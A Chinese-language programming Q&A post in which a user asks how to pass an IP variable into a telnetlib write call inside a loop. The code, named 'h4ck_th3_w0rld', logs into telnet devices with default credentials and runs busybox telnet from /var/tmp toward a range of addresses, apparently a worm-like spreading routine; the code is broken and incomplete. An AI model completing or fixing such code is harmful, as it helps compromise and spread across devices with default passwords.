如何在write函数的末尾添加变量并将其放置在循环中

2024-09-27 22:37:35 发布

您现在位置:Python中文网/ 问答频道 /正文

我使用telnetlib.Telnet函数连接到Telnet设备,但我不知道如何在write函数的末尾添加变量,我看到了How do I put a variable inside a string?bu,这对我没有帮助,所以下面是我的代码

def h4ck_th3_w0rld(HOST):
    user = 'admin'
    password = 'password'
    tn = None
    try:
        tn = telnetlib.Telnet(HOST, 23, 11)
 
        tn.read_until("Username: ", 7)
        tn.write(user + "\n")
        if password:
            tn.read_until("Password: ", 7)
            tn.write(password + "\n")

    for i in range(100, 256):
        for j in range(7, 7):
            ip_addressa = '192.168.%d.%d' % (j, i)
            h4ck_th3_w0rld(ip_addressa)
            print(ip_addressa)

    tn.write("cd /var/tmp\n")
    tn.write("./busybox telnet {}\n"(ip_addressa)) <--- here add ip_addressa variable
        tn.write("exit\n")

我需要将/var/tmp/busybox telnet 172.24.%d.%d放在边上,而循环和请求是这样的

./busybox telnet 192.168.7.100
./busybox telnet 192.168.7.101

Tags: 函数iphostpasswordvariabletelnettnwrite

热门问题